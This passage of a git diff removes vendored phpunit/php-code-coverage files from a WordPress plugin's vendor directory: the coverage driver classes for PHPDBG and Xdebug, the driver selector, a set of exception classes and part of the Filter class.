b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php deleted file mode 100644 index 7ee13b00..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php +++ /dev/null @@ -1,93 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use const PHP_SAPI; -use const PHP_VERSION; -use function array_diff; -use function array_keys; -use function array_merge; -use function get_included_files; -use function phpdbg_end_oplog; -use function phpdbg_get_executable; -use function phpdbg_start_oplog; -use SebastianBergmann\CodeCoverage\RawCodeCoverageData; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class PhpdbgDriver extends Driver -{ - /** - * @throws PhpdbgNotAvailableException - */ - public function __construct() - { - if (PHP_SAPI !== 'phpdbg') { - throw new PhpdbgNotAvailableException; - } - } - - public function start(): void - { - phpdbg_start_oplog(); - } - - public function stop(): RawCodeCoverageData - { - static $fetchedLines = []; - - $dbgData = phpdbg_end_oplog(); - - if ($fetchedLines === []) { - $sourceLines = phpdbg_get_executable(); - } else { - $newFiles = array_diff(get_included_files(), array_keys($fetchedLines)); - - $sourceLines = []; - - if ($newFiles) { - $sourceLines = phpdbg_get_executable(['files' => $newFiles]); - } - } - - foreach ($sourceLines as $file => $lines) { - foreach ($lines as $lineNo => $numExecuted) { - $sourceLines[$file][$lineNo] = self::LINE_NOT_EXECUTED; - } - } - - $fetchedLines = array_merge($fetchedLines, $sourceLines); - - return RawCodeCoverageData::fromXdebugWithoutPathCoverage( - $this->detectExecutedLines($fetchedLines, $dbgData) - ); - } - - public function nameAndVersion(): string - { - return 'PHPDBG ' . PHP_VERSION; - } - - private function detectExecutedLines(array $sourceLines, array $dbgData): array - { - foreach ($dbgData as $file => $coveredLines) { - foreach ($coveredLines as $lineNo => $numExecuted) { - // phpdbg also reports $lineNo=0 when e.g. exceptions get thrown. - // make sure we only mark lines executed which are actually executable. - if (isset($sourceLines[$file][$lineNo])) { - $sourceLines[$file][$lineNo] = self::LINE_EXECUTED; - } - } - } - - return $sourceLines; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Selector.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Selector.php deleted file mode 100644 index 936ee898..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Selector.php +++ /dev/null @@ -1,79 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use function phpversion; -use function version_compare; -use SebastianBergmann\CodeCoverage\Filter; -use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverAvailableException; -use SebastianBergmann\CodeCoverage\NoCodeCoverageDriverWithPathCoverageSupportAvailableException; -use SebastianBergmann\Environment\Runtime; - -final class Selector -{ - /** - * @throws NoCodeCoverageDriverAvailableException - * @throws PcovNotAvailableException - * @throws PhpdbgNotAvailableException - * @throws Xdebug2NotEnabledException - * @throws Xdebug3NotEnabledException - * @throws XdebugNotAvailableException - */ - public function forLineCoverage(Filter $filter): Driver - { - $runtime = new Runtime; - - if ($runtime->hasPHPDBGCodeCoverage()) { - return new PhpdbgDriver; - } - - if ($runtime->hasPCOV()) { - return new PcovDriver($filter); - } - - if ($runtime->hasXdebug()) { - if (version_compare(phpversion('xdebug'), '3', '>=')) { - $driver = new Xdebug3Driver($filter); - } else { - $driver = new Xdebug2Driver($filter); - } - - $driver->enableDeadCodeDetection(); - - return $driver; - } - - throw new NoCodeCoverageDriverAvailableException; - } - - /** - * @throws NoCodeCoverageDriverWithPathCoverageSupportAvailableException - * @throws Xdebug2NotEnabledException - * @throws Xdebug3NotEnabledException - * @throws XdebugNotAvailableException - */ - public function forLineAndPathCoverage(Filter $filter): Driver - { - if ((new Runtime)->hasXdebug()) { - if (version_compare(phpversion('xdebug'), '3', '>=')) { - $driver = new Xdebug3Driver($filter); - } else { - $driver = new Xdebug2Driver($filter); - } - - $driver->enableDeadCodeDetection(); - $driver->enableBranchAndPathCoverage(); - - return $driver; - } - - throw new NoCodeCoverageDriverWithPathCoverageSupportAvailableException; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php deleted file mode 100644 index 74cbbfbc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php +++ /dev/null @@ -1,128 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use const XDEBUG_CC_BRANCH_CHECK; -use const XDEBUG_CC_DEAD_CODE; -use const XDEBUG_CC_UNUSED; -use const XDEBUG_FILTER_CODE_COVERAGE; -use const XDEBUG_PATH_INCLUDE; -use const XDEBUG_PATH_WHITELIST; -use function defined; -use function extension_loaded; -use function ini_get; -use function phpversion; -use function sprintf; -use function version_compare; -use function xdebug_get_code_coverage; -use function xdebug_set_filter; -use function xdebug_start_code_coverage; -use function xdebug_stop_code_coverage; -use SebastianBergmann\CodeCoverage\Filter; -use SebastianBergmann\CodeCoverage\RawCodeCoverageData; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Xdebug2Driver extends Driver -{ - /** - * @var bool - */ - private $pathCoverageIsMixedCoverage; - - /** - * @throws WrongXdebugVersionException - * @throws Xdebug2NotEnabledException - * @throws XdebugNotAvailableException - */ - public function __construct(Filter $filter) - { - if (!extension_loaded('xdebug')) { - throw new XdebugNotAvailableException; - } - - if (version_compare(phpversion('xdebug'), '3', '>=')) { - throw new WrongXdebugVersionException( - sprintf( - 'This driver requires Xdebug 2 but version %s is loaded', - phpversion('xdebug') - ) - ); - } - - if (!ini_get('xdebug.coverage_enable')) { - throw new Xdebug2NotEnabledException; - } - - if (!$filter->isEmpty()) { - if (defined('XDEBUG_PATH_WHITELIST')) { - $listType = XDEBUG_PATH_WHITELIST; - } else { - $listType = XDEBUG_PATH_INCLUDE; - } - - xdebug_set_filter( - XDEBUG_FILTER_CODE_COVERAGE, - $listType, - $filter->files() - ); - } - - $this->pathCoverageIsMixedCoverage = version_compare(phpversion('xdebug'), '2.9.6', '<'); - } - - public function canCollectBranchAndPathCoverage(): bool - { - return true; - } - - public function canDetectDeadCode(): bool - { - return true; - } - - public function start(): void - { - $flags = XDEBUG_CC_UNUSED; - - if ($this->detectsDeadCode() || $this->collectsBranchAndPathCoverage()) { - $flags |= XDEBUG_CC_DEAD_CODE; - } - - if ($this->collectsBranchAndPathCoverage()) { - $flags |= XDEBUG_CC_BRANCH_CHECK; - } - - xdebug_start_code_coverage($flags); - } - - public function stop(): RawCodeCoverageData - { - $data = xdebug_get_code_coverage(); - - xdebug_stop_code_coverage(); - - if ($this->collectsBranchAndPathCoverage()) { - if ($this->pathCoverageIsMixedCoverage) { - return RawCodeCoverageData::fromXdebugWithMixedCoverage($data); - } - - return RawCodeCoverageData::fromXdebugWithPathCoverage($data); - } - - return RawCodeCoverageData::fromXdebugWithoutPathCoverage($data); - } - - public function nameAndVersion(): string - { - return 'Xdebug ' . phpversion('xdebug'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php deleted file mode 100644 index b85db403..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php +++ /dev/null @@ -1,119 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use const XDEBUG_CC_BRANCH_CHECK; -use const XDEBUG_CC_DEAD_CODE; -use const XDEBUG_CC_UNUSED; -use const XDEBUG_FILTER_CODE_COVERAGE; -use const XDEBUG_PATH_INCLUDE; -use function explode; -use function extension_loaded; -use function getenv; -use function in_array; -use function ini_get; -use function phpversion; -use function sprintf; -use function version_compare; -use function xdebug_get_code_coverage; -use function xdebug_set_filter; -use function xdebug_start_code_coverage; -use function xdebug_stop_code_coverage; -use SebastianBergmann\CodeCoverage\Filter; -use SebastianBergmann\CodeCoverage\RawCodeCoverageData; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Xdebug3Driver extends Driver -{ - /** - * @throws WrongXdebugVersionException - * @throws Xdebug3NotEnabledException - * @throws XdebugNotAvailableException - */ - public function __construct(Filter $filter) - { - if (!extension_loaded('xdebug')) { - throw new XdebugNotAvailableException; - } - - if (version_compare(phpversion('xdebug'), '3', '<')) { - throw new WrongXdebugVersionException( - sprintf( - 'This driver requires Xdebug 3 but version %s is loaded', - phpversion('xdebug') - ) - ); - } - - $mode = getenv('XDEBUG_MODE'); - - if ($mode === false || $mode === '') { - $mode = ini_get('xdebug.mode'); - } - - if ($mode === false || - !in_array('coverage', explode(',', $mode), true)) { - throw new Xdebug3NotEnabledException; - } - - if (!$filter->isEmpty()) { - xdebug_set_filter( - XDEBUG_FILTER_CODE_COVERAGE, - XDEBUG_PATH_INCLUDE, - $filter->files() - ); - } - } - - public function canCollectBranchAndPathCoverage(): bool - { - return true; - } - - public function canDetectDeadCode(): bool - { - return true; - } - - public function start(): void - { - $flags = XDEBUG_CC_UNUSED; - - if ($this->detectsDeadCode() || $this->collectsBranchAndPathCoverage()) { - $flags |= XDEBUG_CC_DEAD_CODE; - } - - if ($this->collectsBranchAndPathCoverage()) { - $flags |= XDEBUG_CC_BRANCH_CHECK; - } - - xdebug_start_code_coverage($flags); - } - - public function stop(): RawCodeCoverageData - { - $data = xdebug_get_code_coverage(); - - xdebug_stop_code_coverage(); - - if ($this->collectsBranchAndPathCoverage()) { - return RawCodeCoverageData::fromXdebugWithPathCoverage($data); - } - - return RawCodeCoverageData::fromXdebugWithoutPathCoverage($data); - } - - public function nameAndVersion(): string - { - return 'Xdebug ' . phpversion('xdebug'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php deleted file mode 100644 index ab208919..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class BranchAndPathCoverageNotSupportedException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php deleted file mode 100644 index d3600648..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class DeadCodeDetectionNotSupportedException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php deleted file mode 100644 index fdd9bfdf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Util; - -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class DirectoryCouldNotBeCreatedException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Exception.php deleted file mode 100644 index 28dc48b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php deleted file mode 100644 index 17e4b707..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -final class InvalidArgumentException extends \InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php deleted file mode 100644 index b1494e26..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class NoCodeCoverageDriverAvailableException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('No code coverage driver available'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php deleted file mode 100644 index 0065b740..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class NoCodeCoverageDriverWithPathCoverageSupportAvailableException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('No code coverage driver with path coverage support available'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ParserException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ParserException.php deleted file mode 100644 index a907e34e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ParserException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class ParserException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php deleted file mode 100644 index 54bd73f5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php +++ /dev/null @@ -1,22 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use function sprintf; -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class PathExistsButIsNotDirectoryException extends RuntimeException implements Exception -{ - public function __construct(string $path) - { - parent::__construct(sprintf('"%s" exists but is not a directory', $path)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php deleted file mode 100644 index 2f0a66e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class PcovNotAvailableException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('The PCOV extension is not available'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php deleted file mode 100644 index bfb183d5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class PhpdbgNotAvailableException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('The PHPDBG SAPI is not available'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReflectionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReflectionException.php deleted file mode 100644 index 78db430b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReflectionException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class ReflectionException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php deleted file mode 100644 index 0481f161..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class ReportAlreadyFinalizedException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('The code coverage report has already been finalized'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php deleted file mode 100644 index fd58fd6b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class StaticAnalysisCacheNotConfiguredException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php deleted file mode 100644 index 4cc3e0c2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class TestIdMissingException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('Test ID is missing'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php deleted file mode 100644 index cb7a975f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php +++ /dev/null @@ -1,43 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class UnintentionallyCoveredCodeException extends RuntimeException implements Exception -{ - /** - * @var array - */ - private $unintentionallyCoveredUnits; - - public function __construct(array $unintentionallyCoveredUnits) - { - $this->unintentionallyCoveredUnits = $unintentionallyCoveredUnits; - - parent::__construct($this->toString()); - } - - public function getUnintentionallyCoveredUnits(): array - { - return $this->unintentionallyCoveredUnits; - } - - private function toString(): string - { - $message = ''; - - foreach ($this->unintentionallyCoveredUnits as $unit) { - $message .= '- ' . $unit . "\n"; - } - - return $message; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php deleted file mode 100644 index be549e17..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php +++ /dev/null @@ -1,22 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use function sprintf; -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class WriteOperationFailedException extends RuntimeException implements Exception -{ - public function __construct(string $path) - { - parent::__construct(sprintf('Cannot write to "%s"', $path)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php deleted file mode 100644 index 6e8f10a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class WrongXdebugVersionException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php deleted file mode 100644 index 4ee232d0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class Xdebug2NotEnabledException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('xdebug.coverage_enable=On (PHP configuration setting) has to be set'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php deleted file mode 100644 index 6abc01f3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class Xdebug3NotEnabledException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('XDEBUG_MODE=coverage (environment variable) or xdebug.mode=coverage (PHP configuration setting) has to be set'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php deleted file mode 100644 index 1622c5a6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Driver; - -use RuntimeException; -use SebastianBergmann\CodeCoverage\Exception; - -final class XdebugNotAvailableException extends RuntimeException implements Exception -{ - public function __construct() - { - parent::__construct('The Xdebug extension is not available'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XmlException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XmlException.php deleted file mode 100644 index 31e4623d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Exception/XmlException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use RuntimeException; - -final class XmlException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Filter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Filter.php deleted file mode 100644 index 5a0a142a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Filter.php +++ /dev/null @@ -1,118 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use function array_keys; -use function is_file; -use function realpath; -use function strpos; -use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; - -final class Filter -{ - /** - * @psalm-var array - */ - private $files = []; - - /** - * @psalm-var array - */ - private $isFileCache = []; - - public function includeDirectory(string $directory, string $suffix = '.php', string $prefix = ''): void - { - foreach ((new FileIteratorFacade)->getFilesAsArray($directory, $suffix, $prefix) as $file) { - $this->includeFile($file); - } - } - - /** - * @psalm-param list $files - */ - public function includeFiles(array $filenames): void - { - foreach ($filenames as $filename) { - $this->includeFile($filename); - } - } - - public function includeFile(string $filename): void - { - $filename = realpath($filename); - - if (!$filename) { - return; - } - - $this->files[$filename] = true; - } - - public function excludeDirectory(string $directory, string $suffix = '.php', string $prefix = ''): void - { - foreach ((new FileIteratorFacade)->getFilesAsArray($directory, $suffix, $prefix) as $file) { - 